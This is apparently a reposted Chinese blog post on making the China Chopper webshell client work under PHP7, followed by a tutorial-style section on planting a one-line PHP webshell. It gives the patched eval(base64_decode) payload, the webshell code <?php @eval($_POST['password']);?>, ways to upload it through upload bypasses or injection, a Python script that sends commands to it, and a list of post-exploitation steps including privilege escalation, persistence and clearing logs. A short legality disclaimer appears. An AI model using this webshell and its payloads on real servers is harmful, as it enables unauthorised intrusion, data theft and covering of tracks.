菜刀连接一句话木马出现:`Cannot call assert() with string argument dynamically`错误

本文详细介绍了菜刀这款经典的渗透测试工具在PHP7环境下遇到的兼容性问题,即“Cannotcallallas...,并给出了具体的解决方案,包括修改配置文件中的特定代码,以确保文件管理功能的正常使用。

前言

逆天还是上学那会玩渗透的,后来工作后就再也没碰了,所以用的工具还是以前经典款,这不,发现出问题了

问题

如果是PHP5则没有问题,如果是PHP7,会出现:Cannot call assert() with string argument dynamically的提示

1127869-20190825121926624-903638975.png

解决

用谷歌搜了下,发现了这篇解释:https://www.freebuf.com/articles/web/197013.html

1127869-20190825121932099-2132670185.png

知道了本质就简单了,菜刀这个软件之所以经典就是因为它的灵活性很强,修改下配置文件即可

PS:把array_map("ass"."ert",array("ev"."Al(\"\\\$xx%%3D\\\"Ba"."SE6"."4_dEc"."OdE\\\";@ev"."al(\\\$xx('%s'));\");"));改成eval(base64_decode('%s'));即可
1127869-20190825121937738-1056169889.png

这时候文件管理的功能就能使用了,下面就是常规操作了(文件上传下载、大马、提权、建用户、远程连接、权限维持、清日记...)

PS:copy数据库、网站,本地搭建一个和服务器一样的环境,进一步探索与发现~~~

1127869-20190825121942458-494492595.png

附录

菜刀下载:https://github.com/raddyfiy/caidao-official-version

取代菜刀:蚁剑https://github.com/AntSwordProject/AntSword-Loader or Cknifehttps://github.com/Chora10/Cknife

转载于:https://www.cnblogs.com/dotnetcrazy/p/11407505.html

### 菜刀工具命令执行漏洞实现一句话木马写入的方法 菜刀是一款用于管理基于PHP一句话木马的图形界面工具,其核心在于通过`eval()`函数执行远程传递的命令[^2]。以下是关于如何利用菜刀工具结合命令执行漏洞来写入一句话木马的具体方法: #### 利用过程详解 1. **寻找目标系统的漏洞** 首先需要找到目标系统中存在的命令执行漏洞或其他可以注入恶意代码的地方。这可能是一个未受保护的表单提交、动态参数处理不当等功能。 2. **编写一句话木马脚本** 一句简单的PHP木马通常如下所示: ```php <?php @eval($_POST['password']);?> ``` 这里`$_POST['password']`表示接收来自客户端发送的数据,并通过`@eval()`将其作为PHP代码运行。 3. **上传或植入木马到服务器** 如果存在文件上传漏洞,则可以通过修改HTTP请求头或者绕过MIME类型检测等方式上传上述PHP文件;如果没有直接上传途径,也可以尝试利用已知的安全缺陷(如SQL Injection, XSS等),将该段代码嵌入现有的合法页面中[^1]。 4. **配置并连接菜刀客户端** 安装好菜刀软件之后,在界面上填写刚才部署好的木马URL以及设置密码字段名(即上面例子中的`password`)。点击测试按钮验证连通性后即可获得对该站点的部分操作权限[^3]。 5. **扩展攻击行为** 成功建立会话之后,能够进一步实施更多危害动作比如读取敏感数据、删除重要资料甚至完全接管整个主机环境。值得注意的是某些高级防护机制可能会阻止常规手段下的反序列化触发或是特定语法结构识别失败等问题发生时可考虑替换其他形式的有效载荷加载方式例如使用`assert()`, `call_user_func_array()`等多种替代方案达到相同效果[^4]。 #### 注意事项 - 所有渗透活动都应在授权范围内进行,非法入侵他人计算机信息系统属于违法行为。 - 学习此类技术主要用于提高自我网络安全意识及防御能力而非恶意破坏用途。 ```python # 示例Python脚本模拟向服务端post数据的过程 import requests url = 'http://example.com/shell.php' # 替换为目标实际地址 data = {'password': 'phpinfo();'} # 设置payload内容 response = requests.post(url, data=data) print(response.text) ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值